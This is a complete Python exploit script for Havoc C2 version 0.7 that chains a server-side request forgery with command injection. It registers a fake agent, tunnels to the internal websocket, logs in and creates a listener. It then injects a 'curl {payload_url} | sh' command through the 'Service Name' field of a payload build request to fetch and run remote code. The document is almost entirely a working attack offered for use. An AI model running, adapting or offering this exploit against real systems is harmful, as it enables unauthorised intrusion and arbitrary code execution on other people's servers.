exploit.py

# Credit: @chebuya & @IncludeSecurity
#
# Resource: https://github.com/chebuya/Havoc-C2-SSRF-poc
# Resource: https://blog.chebuya.com/posts/server-side-request-forgery-on-havoc-c2/
# Resource: https://github.com/IncludeSecurity/c2-vulnerabilities
#
# Description: Merged Proof of Concepts (PoC) for Server-Side Request Forgery (SSRF) and Remote Code Execution (RCE) 
# to execute arbitrary code through WebSockets on Havoc C2 version 0.7 in a more comfortable way.

import os
import json
import hashlib
import binascii
import random
import requests
import argparse
import urllib3
from urllib.parse import urlparse
from Crypto.Cipher import AES
from Crypto.Util import Counter

urllib3.disable_warnings()

key_bytes = 32

def decrypt(key, iv, ciphertext):
    if len(key) <= key_bytes:
        key += b"0" * (key_bytes - len(key))
    assert len(key) == key_bytes
    iv_int = int(binascii.hexlify(iv), 16)
    ctr = Counter.new(AES.block_size * 8, initial_value=iv_int)
    aes = AES.new(key, AES.MODE_CTR, counter=ctr)
    return aes.decrypt(ciphertext)

def int_to_bytes(value, length=4, byteorder="big"):
    return value.to_bytes(length, byteorder)

def encrypt(key, iv, plaintext):
    if len(key) <= key_bytes:
        key += b"0" * (key_bytes - len(key))
    assert len(key) == key_bytes
    iv_int = int(binascii.hexlify(iv), 16)
    ctr = Counter.new(AES.block_size * 8, initial_value=iv_int)
    aes = AES.new(key, AES.MODE_CTR, counter=ctr)
    return aes.encrypt(plaintext)

def register_agent(hostname, username, domain_name, internal_ip, process_name, process_id):
    command = b"\x00\x00\x00\x63"
    request_id = b"\x00\x00\x00\x01"
    demon_id = agent_id
    hostname_length = int_to_bytes(len(hostname))
    username_length = int_to_bytes(len(username))
    domain_name_length = int_to_bytes(len(domain_name))
    internal_ip_length = int_to_bytes(len(internal_ip))
    process_name_length = int_to_bytes(len(process_name) - 6)
    data = b"\xab" * 100
    header_data = command + request_id + AES_Key + AES_IV + demon_id + hostname_length + hostname + username_length + username + domain_name_length + domain_name + internal_ip_length + internal_ip + process_name_length + process_name + process_id + data
    size_bytes = int_to_bytes(12 + len(header_data))
    agent_header = size_bytes + magic + agent_id
    print("[*] Registering agent...")
    try:
        r = requests.post(teamserver_listener_url, data=agent_header + header_data, headers=headers, verify=False)
        r.raise_for_status()
        print("[+] Agent registered.")
    except Exception as e:
        print(f"[!] Failed to register agent: {e}")

def open_socket(socket_id, target_address, target_port):
    command = b"\x00\x00\x09\xec"
    request_id = b"\x00\x00\x00\x02"
    subcommand = b"\x00\x00\x00\x10"
    local_addr = b"\x22\x22\x22\x22"
    local_port = b"\x33\x33\x33\x33"
    forward_addr = b"".join(int_to_bytes(int(o), 1) for o in target_address.split(".")[::-1])
    forward_port = int_to_bytes(target_port)
    package = subcommand + socket_id + local_addr + local_port + forward_addr + forward_port
    package_size = int_to_bytes(len(package) + 4)
    header_data = command + request_id + encrypt(AES_Key, AES_IV, package_size + package)
    size_bytes = int_to_bytes(12 + len(header_data))
    agent_header = size_bytes + magic + agent_id
    data = agent_header + header_data
    print("[*] Opening socket on teamserver...")
    try:
        r = requests.post(teamserver_listener_url, data=data, headers=headers, verify=False)
        r.raise_for_status()
        print("[+] Socket opened.")
    except Exception as e:
        print(f"[!] Failed to open socket: {e}")

def write_socket(socket_id, data):
    command = b"\x00\x00\x09\xec"
    request_id = b"\x00\x00\x00\x08"
    subcommand = b"\x00\x00\x00\x11"
    socket_type = b"\x00\x00\x00\x03"
    success = b"\x00\x00\x00\x01"
    data_length = int_to_bytes(len(data))
    package = subcommand + socket_id + socket_type + success + data_length + data
    package_size = int_to_bytes(len(package) + 4)
    header_data = command + request_id + encrypt(AES_Key, AES_IV, package_size + package)
    size_bytes = int_to_bytes(12 + len(header_data))
    agent_header = size_bytes + magic + agent_id
    post_data = agent_header + header_data
    print("[*] Writing to socket...")
    try:
        r = requests.post(teamserver_listener_url, data=post_data, headers=headers, verify=False)
        r.raise_for_status()
        print("[+] Socket write successful.")
    except Exception as e:
        print(f"[!] Socket write failed: {e}")

def read_socket(socket_id):
    command = b"\x00\x00\x00\x01"
    request_id = b"\x00\x00\x00\x09"
    header_data = command + request_id
    size_bytes = int_to_bytes(12 + len(header_data))
    agent_header = size_bytes + magic + agent_id
    data = agent_header + header_data
    print("[*] Reading from socket...")
    try:
        r = requests.post(teamserver_listener_url, data=data, headers=headers, verify=False)
        r.raise_for_status()
        enc_package = r.content[12:]
        return decrypt(AES_Key, AES_IV, enc_package)[12:]
    except Exception as e:
        print(f"[!] Socket read failed: {e}")
        return b""

def create_websocket_request(host, port):
    return (f"GET /havoc/ HTTP/1.1\r\n"
            f"Host: {host}:{port}\r\n"
            f"Upgrade: websocket\r\n"
            f"Connection: Upgrade\r\n"
            f"Sec-WebSocket-Key: 5NUvQyzkv9bpu376gKd2Lg==\r\n"
            f"Sec-WebSocket-Version: 13\r\n\r\n").encode()

def build_websocket_frame(payload, is_text=True, mask_payload=True):
    if isinstance(payload, str):
        payload_bytes = payload.encode("utf-8")
    elif isinstance(payload, bytes):
        payload_bytes = payload
    else:
        raise TypeError("Payload must be str or bytes.")
    frame = bytearray()
    fin = 0b10000000
    opcode = 0x1 if is_text else 0x2
    frame.append(fin | opcode)
    payload_length = len(payload_bytes)
    if payload_length <= 125:
        frame.append((0b10000000 if mask_payload else 0) | payload_length)
    elif payload_length <= 65535:
        frame.append((0b10000000 if mask_payload else 0) | 126)
        frame.extend(payload_length.to_bytes(2, "big"))
    else:
        frame.append((0b10000000 if mask_payload else 0) | 127)
        frame.extend(payload_length.to_bytes(8, "big"))
    if mask_payload:
        masking_key = os.urandom(4)
        frame.extend(masking_key)
        masked_payload = bytearray(byte ^ masking_key[i % 4] for i, byte in enumerate(payload_bytes))
        frame.extend(masked_payload)
    else:
        frame.extend(payload_bytes)
    return bytes(frame)

def send_websocket_message(socket_id, payload):
    if isinstance(payload, dict):
        payload = json.dumps(payload, indent=4)
    frame = build_websocket_frame(payload)
    write_socket(socket_id, frame)
    response = read_socket(socket_id)
    if response:
        print("[+] WebSocket response received.")
        print(response)
    else:
        print("[!] No response from WebSocket.")
    return response

if __name__ == "__main__":
    try:
        parser = argparse.ArgumentParser()
        parser.add_argument("-t", "--target", required=True, help="Target URL with scheme (e.g., https://10.10.10.10)")
        parser.add_argument("-p", "--port", type=int, help="Optional port (inferred from scheme or URL)")
        parser.add_argument("-i", "--internal-ip", required=True, help="Internal IP behind the web server")
        parser.add_argument("--internal-port", required=True, type=int, help="Internal Havoc C2 port")
        parser.add_argument("--payload-url", required=True, help="Payload URL to fetch and execute")
        parser.add_argument("--username", required=True, help="WebSocket login username")
        parser.add_argument("--password", required=True, help="WebSocket login password")
        args = parser.parse_args()

        magic = b"\xde\xad\xbe\xef"
        parsed = urlparse(args.target)
        scheme = parsed.scheme
        netloc = parsed.netloc or parsed.path

        if ':' in netloc:
            host, parsed_port = netloc.split(':', 1)
            parsed_port = int(parsed_port)
        else:
            host = netloc
            parsed_port = None

        if args.port:
            port = args.port
        elif parsed_port:
            port = parsed_port
        else:
            port = 443 if scheme == "https" else 80

        if (scheme == "https" and port == 443) or (scheme == "http" and port == 80):
            teamserver_listener_url = f"{scheme}://{host}"
        else:
            teamserver_listener_url = f"{scheme}://{host}:{port}"

        headers = {
            "User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 "
                          "(KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36"
        }
        agent_id = int_to_bytes(random.randint(100000, 1000000))
        AES_Key = b"\x00" * 32
        AES_IV = b"\x00" * 16
        hostname = b"DESKTOP-7F61JT1"
        username = b"Administrator"
        domain_name = b"ECORP"
        internal_ip = args.internal_ip.encode()
        process_name = "msedge.exe".encode("utf-16le")
        process_id = int_to_bytes(random.randint(1000, 5000))

        register_agent(hostname, username, domain_name, internal_ip, process_name, process_id)

        socket_id = b"\x11\x11\x11\x11"
        open_socket(socket_id, args.internal_ip, args.internal_port)

        websocket_request = create_websocket_request(args.internal_ip, args.internal_port)
        write_socket(socket_id, websocket_request)
        read_socket(socket_id)

        payload_1 = {
            "Body": {
                "Info": {
                    "Password": hashlib.sha3_256(args.password.encode()).hexdigest(),
                    "User": args.username
                },
                "SubEvent": 3
            },
            "Head": {
                "Event": 1,
                "OneTime": "",
                "Time": "18:40:17",
                "User": args.username
            }
        }
        send_websocket_message(socket_id, payload_1)

        payload_2 = {
            "Body": {
                "Info": {
                    "Headers": "",
                    "HostBind": "0.0.0.0",
                    "HostHeader": "",
                    "HostRotation": "round-robin",
                    "Hosts": "0.0.0.0",
                    "Name": "abc",
                    "PortBind": "443",
                    "PortConn": "443",
                    "Protocol": "Https",
                    "Proxy Enabled": "false",
                    "Secure": "true",
                    "Status": "online",
                    "Uris": "",
                    "UserAgent": headers["User-Agent"]
                },
                "SubEvent": 1
            },
            "Head": {
                "Event": 2,
                "OneTime": "",
                "Time": "08:39:18",
                "User": args.username
            }
        }
        send_websocket_message(socket_id, payload_2)

        injection = f' \\\\\\\" -mbla; curl {args.payload_url} | sh 1>&2 && false #'
        payload_3 = {
            "Body": {
                "Info": {
                    "AgentType": "Demon",
                    "Arch": "x64",
                    "Config": (
                        "{\n"
                        "    \"Amsi/Etw Patch\": \"None\",\n"
                        "    \"Indirect Syscall\": false,\n"
                        "    \"Injection\": {\n"
                        "        \"Alloc\": \"Native/Syscall\",\n"
                        "        \"Execute\": \"Native/Syscall\",\n"
                        "        \"Spawn32\": \"C:\\\\Windows\\\\SysWOW64\\\\notepad.exe\",\n"
                        "        \"Spawn64\": \"C:\\\\Windows\\\\System32\\\\notepad.exe\"\n"
                        "    },\n"
                        "    \"Jitter\": \"0\",\n"
                        "    \"Proxy Loading\": \"None (LdrLoadDll)\",\n"
                        "    \"Service Name\": \"" + injection + "\",\n"
                        "    \"Sleep\": \"2\",\n"
                        "    \"Sleep Jmp Gadget\": \"None\",\n"
                        "    \"Sleep Technique\": \"WaitForSingleObjectEx\",\n"
                        "    \"Stack Duplication\": false\n"
                        "}"
                    ),
                    "Format": "Windows Service Exe",
                    "Listener": "abc"
                },
                "SubEvent": 2
            },
            "Head": {
                "Event": 5,
                "OneTime": "true",
                "Time": "18:39:04",
                "User": args.username
            }
        }
        send_websocket_message(socket_id, payload_3)

    except KeyboardInterrupt:
        print("\n[!] Exploitation cancelled by the user.")